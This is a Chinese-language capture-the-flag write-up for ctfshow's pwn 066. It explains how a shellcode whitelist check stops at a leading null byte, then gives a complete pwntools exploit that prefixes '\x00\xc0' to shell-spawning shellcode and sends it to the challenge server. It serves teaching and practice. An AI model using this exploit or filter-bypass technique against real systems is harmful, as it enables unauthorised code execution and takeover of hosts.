本文仅用于技术研究,禁止用于非法用途。

Author: 枷锁

在漏洞利用的演进过程中,防御者往往会通过“白名单”机制来限制攻击载荷(Payload)的内容。如果说上一关(pwn 065)考察的是如何让 Shellcode 变得“可见”,那么 pwn 066 则是在考察攻击者能否洞察安全审计逻辑本身的底层缺陷。

本题的提示语充满了战术诱导性:“简单的 shellcode?不对劲,十分得有十二分的不对劲”。这种“不对劲”的核心,正是来源于那个看似严密、实则存在逻辑漏洞的 check 校验函数。

0x01 题目信息与环境侦察

1. 检查保护机制 (checksec)

首先,按照标准流程对目标二进制程序的防御边界进行建模评估:

image-20260410205018807

~/Desktop .............................................................. at 20:42:00
> checksec pwn
[*] '/home/shining/Desktop/pwn'
    Arch:       amd64-64-little                <-- 64 位 amd64 架构
    RELRO:      Partial RELRO
    Stack:      No canary found                <-- 栈哨兵缺失
    NX:         NX enabled                     <-- 全局执行保护已开启
    PIE:        No PIE (0x400000)              <-- 固定基址映射
    Stripped:   No                             <-- 符号表完整,便于逆向分析

2. 静态分析 (IDA Pro)

进入 main 函数,程序的攻击路径(Attack Path)清晰可见:

image-20260410205028295

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  logo();
  // 1. 申请一块 0x1000 大小的 RWX 匿名内存映射空间
  buf = mmap(0, 0x1000u, 7, 34, 0, 0); 
  puts("Your shellcode is :");
  // 2. 将输入的载荷直接读入该空间
  read(0, buf, 0x200u);
  // 3. 【核心防御点】调用 check 函数进行白名单字符校验
  if ( !(unsigned int)check(buf) )
  {
    printf(" ERROR !");
    exit(0);
  }
  // 4. 绕过校验后直接通过函数指针执行
  ((void (__fastcall *)(void *))buf)(buf);
  return 0;
}

第一部分:代码审计与字符过滤模型分析

本题的防御重心在于 check 函数。通过对该函数的底层逻辑审计,我们可以发现开发者对“输入边界”处理的认知偏差。

1. 校验逻辑深度拆解

查看 check 函数的底层实现,并逐行分析其逻辑链条:

image-20260410205040932

__int64 __fastcall check(_BYTE *a1)
{
  _BYTE *i; 

  // 【核心漏洞点】:典型的 C 风格字符串迭代逻辑
  // 在 C 语言中,*a1 取出的是指针 a1 指向的单字节数据。
  // 当该字节为 0(即 \x00)时,while 条件判定为假(False),直接跳出循环!
  while ( *a1 ) 
  {
    // unk_400F20 是内存中硬编码的一个“白名单字符数组”
    for ( i = &unk_400F20; *i && *i != *a1; ++i )
      ;
    if ( !*i ) // 若遍历完白名单仍未找到当前字节,则判定非法
      return 0; // 拦截并退出
    ++a1; // 检查下一个字节
  }
  return 1; // 逻辑终点:一旦 while 循环跳出,直接返回 1(校验成功)
}

2. 漏洞建模:空字符截断 (The Null-Byte Vulnerability)

该审计函数在逻辑上犯了一个致命错误:它默认所有输入的 Shellcode 都是以 \x00 结尾的标准字符串。

  • 逻辑短路机制while ( *a1 ) 的判断机制意味着,只要程序读取到的第一个字节是 \x00,内部的 for 循环(严苛的白名单校验)将一次都不会被执行,函数会瞬间返回 1
  • 战术错位优势:在传统的字符串溢出场景(如 strcpy)中,\x00 会截断输入,是禁忌字节。但在本题中,数据是通过 read(0, buf, 0x200u) 读入的,read 函数是按二进制流读取的,完全不在乎 \x00。这给了我们构造极度畸形 Payload 的可能。

第二部分:破局思路:原子指令级对齐技术

既然可以通过在开头放置 \x00 来瞬间“瘫痪”校验逻辑,我们面临的下一个技术挑战是:当程序将这块内存作为代码执行时,首字节 \x00 会被 CPU 解释为机器码。如何保证它不会引发非法指令错误(SIGILL)?

1. 寻找哈姆雷特指令 (Harmless Instructions)

我们需要在 64 位 x86 指令集中寻找以 \x00 开头且副作用极小的原子指令(这就好比是一段微型的 NOP Sled):

  • 00 c0 (add al, al): 这是最完美的伪装指令。它将 alrax 寄存器的低 8 位)与自身相加。在跳转至 Shellcode 时,rax 的低位通常是无关紧要的垃圾数据或零,此操作不仅不会引发访存异常,也不会干扰后续系统调用(因为我们在 Shellcode 内部会重新初始化寄存器)。
  • 00 42 00 (add BYTE PTR [rdx], al): 这是另一种组合。但它涉及对 rdx 指向的内存进行写操作,极易引发访问冲突(Segmentation Fault),稳定性极差。

战术选择:选用 \x00\xc0 作为攻击载荷的“前导垫片”。

2. Payload 内存结构可视化

我们在内存中构造的攻击链排布如下:

地址增长方向 --->
+-----------+-----------+------------------------------------------------+
|  字节 0   |  字节 1   |  字节 2 ~ 字节 N                                |
+-----------+-----------+------------------------------------------------+
|   \x00    |   \xc0    | \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69...        |
+-----------+-----------+------------------------------------------------+
| <--- 逻辑欺骗 ---> | <---   真实提权载荷 (Real Shellcode)   ---> |
| check 视其为结尾    | 
| CPU 视其为 add al,al|
+-----------------------+

第三部分:实战 EXP 编写与详解

from pwn import *

# 1. 基础配置
# 明确目标架构与系统,确保 shellcraft 的准确性
context(arch = 'amd64', os = 'linux', log_level = 'debug')

# 2. 建立连接
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28128)

# 3. 构造具有“两面性”的载荷结构
# 对 check 函数而言:\x00 意味着字符串结束,直接放行。
# 对 CPU 执行流而言:\x00\xc0 是合法的 `add al, al` 汇编指令。
bypass_prefix = b'\x00\xc0'
real_shellcode = asm(shellcraft.sh())

# 组装最终 Payload
payload = bypass_prefix + real_shellcode

# 4. 执行注入
log.info("[*] 正在利用 Null-Byte 逻辑漏洞绕过白名单深度校验...")
io.recvuntil(b"shellcode is :")
io.sendline(payload)

# 5. 获取交互反馈
log.success("[+] 校验已成功绕过,Shellcode 正在接管系统执行流...")
io.interactive()

image-20260410205106955

第五部分:底层原理复盘与总结

1. 为什么 Alphanumeric 编码不再是首选?

虽然可以使用上一关(pwn 065)的可见字符编码技术,但 check 函数的白名单 unk_400F20 是闭源且未知的。如果白名单中缺少编码器所需的特定字符(如 jY 等),即使是经过 Alpha3 转换的代码也会失效。寻找校验算法本身的“元缺陷”往往比硬碰硬的适配编码更具统治力。

2. 逻辑漏洞核心点复盘

  • 校验缺陷:防御者过度信任 C 风格字符串的结束标记(\x00)。
  • 输入优势:利用 read 函数的二进制流特性,打破了“输入必须是字符串”的传统防御假设。
  • 指令集对齐:创造性地利用 add al, al (00 c0) 构建微型滑板指令(Harmless Opcodes),确保执行流的连续性。

3. 写在最后

pwn 066 的设计精髓在于“虚实结合”。出题人刻意在提示中诱导玩家去思考复杂的可见字符约束,而最高级的解法却隐藏在最基础的代码缺陷中。这提醒我们在 Pwn 的实战过程中,代码审计的深度直接决定了漏洞利用的精度

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐